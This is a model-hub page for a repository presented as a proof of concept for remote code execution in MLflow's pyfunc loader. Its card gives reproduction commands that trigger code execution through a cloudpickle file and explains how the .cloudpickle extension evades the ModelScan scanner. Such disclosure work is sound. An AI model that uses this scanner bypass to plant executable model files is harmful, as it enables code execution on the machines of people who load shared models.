Downloads · 30 days
0
mlflow-cloudpickle-rce-poc
hoanghai2110/mlflow-cloudpickle-rce-poc
mlflow-cloudpickle-rce-poc is a machine learning model from hoanghai2110. Use it for the machine learning task on the model card, and read the license before you ship it in a product. The card lists the license as mit.
CVE: Pending Affected: MLflow 3.14.0 (latest) Scanner bypass: ModelScan 0.8.8 reports No issues found! 🎉
Access
Public
Updated Jul 3, 2026
Repo size
—
Likes
0
Public
Repo makeup
Click a slice to open those files.
Other1.9 KB · 62%
At a glance
- License
- mit
- Access
- Public
- Created
- Jul 3, 2026
- Updated
- Jul 3, 2026
- SHA
- 0dc3bd0f
Model card
From the Hugging Face model README
MLflow pyfunc python_model Extension Bypass — RCE PoC
CVE: Pending
Affected: MLflow 3.14.0 (latest)
Scanner bypass: ModelScan 0.8.8 reports No issues found! 🎉
Quick Reproduction
pip install mlflow==3.14.0 modelscan
# Step 1: Verify ModelScan reports CLEAN
modelscan -p .
# Output: No issues found! 🎉
# Step 2: Trigger RCE
python3 -c "import mlflow.pyfunc; mlflow.pyfunc.load_model('.')"
# Step 3: Confirm
cat /tmp/CLOUDPICKLE_RCE_PROOF.txt
# [MLFLOW RCE] id=uid=1000(user) host=victim ...
Root Cause
mlflow/pyfunc/model.py line 1312-1316:
python_model_subpath = pyfunc_config.get('python_model') # from MLmodel YAML
python_model = cloudpickle.load(open(os.path.join(model_path, python_model_subpath), 'rb'))
# ModelScan extension list: .pkl .pickle .joblib .dill .pt .pth .h5 .keras .pb .npy
# .cloudpickle is NOT in the list -> bypasses scanner
- License
- mit
- Created
- Jul 3, 2026
- Updated
- Jul 3, 2026